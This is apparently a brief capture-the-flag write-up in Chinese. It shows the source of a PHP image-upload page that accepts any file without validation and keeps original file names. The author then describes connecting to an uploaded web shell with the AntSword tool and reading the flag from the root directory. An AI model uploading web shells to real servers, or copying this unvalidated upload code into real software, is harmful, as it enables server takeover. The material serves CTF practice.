<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传你喜欢的图片吧!</title>
</head>

<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传!</button>
</form>
<?php
$files = scandir('uploads');
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
}
?>
</body>

</html>

发现上传后的文件在uploads文件夹里,且没有被改名字,直接打开蚁剑进行连接

可以在根目录下找到flag文件,打开就能看到flag了